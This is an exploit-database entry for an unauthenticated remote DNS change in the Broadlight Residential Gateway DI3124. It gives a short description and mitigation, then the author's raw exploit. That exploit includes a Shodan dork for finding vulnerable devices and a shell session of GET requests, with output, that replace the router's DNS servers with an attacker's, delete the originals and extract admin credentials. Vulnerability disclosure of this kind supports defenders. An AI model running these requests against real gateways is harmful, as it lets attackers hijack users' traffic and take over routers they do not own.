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vendor:
Residential Gateway DI3124
by:
Todor Donev
8.8
CVSS
HIGH
Unauthenticated Remote DNS Change
284
CWE
Product Name: Residential Gateway DI3124
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2015

Broadlight Residential Gateway DI3124 Unauthenticated Remote DNS Change

Broadlight Residential Gateway DI3124 is vulnerable to unauthenticated remote DNS change. An attacker can exploit this vulnerability by sending a malicious GET request to the target server. The malicious request will change the DNS server of the target device to the attacker's DNS server. This will allow the attacker to intercept the traffic of the target device.

Mitigation:

Authentication should be enabled for the GET requests to the target server. Access to the target server should be restricted to trusted IP addresses.
Source

Exploit-DB raw data:

  Broadlight Residential Gateway DI3124 
  Unauthenticated Remote DNS Change

  Copyright 2015 (c) Todor Donev 
  <todor.donev at gmail.com>
  http://www.ethical-hacker.org/
  https://www.facebook.com/ethicalhackerorg

  No description for morons, 
  script kiddies & noobs !!

  Disclaimer:
  This or previous programs is for Educational
  purpose ONLY. Do not use it without permission.
  The usual disclaimer applies, especially the
  fact that Todor Donev is not liable for any
  damages caused by direct or indirect use of the
  information or functionality provided by these
  programs. The author or any Internet provider
  bears NO responsibility for content or misuse
  of these programs or any derivatives thereof.
  By using these programs you accept the fact
  that any damage (dataloss, system crash,
  system compromise, etc.) caused by the use
  of these programs is not Todor Donev's
  responsibility.
  
  Use them at your own risk!

  ShodanHQ Dork:
  Server: thttpd/2.25b 29dec2003 Content-Length: 348414


[todor@adamantium ~]$ GET "http://TARGET/cgi-bin/getdns.cgi?"
{"success":true,"totalCount":2,"rows":[{"domain":"googleDNS1","serverip":"8.8.8.8","type":"manual"},
{"domain":"googleDNS2","serverip":"8.8.4.4","type":"manual"}]}

[todor@adamantium ~]$ GET "http://TARGET/cgi-bin/savedns.cgi?domainname=evilDNS&domainserverip=133.71.33.7"
{success:true,errormsg:"Operation Succeeded"}

[todor@adamantium ~]$ GET "http://TARGET/cgi-bin/deldns.cgi?serverip=8.8.8.8"
{success:true,errormsg:"Operation Succeeded"}

[todor@adamantium ~]$ GET "http://TARGET/cgi-bin/deldns.cgi?serverip=8.8.4.4"
{success:true,errormsg:"Operation Succeeded"}

[todor@adamantium ~]$ GET "http://TARGET/cgi-bin/getconf.cgi" | egrep '(username|password)'
<username>admin</username>
<password>admin</password>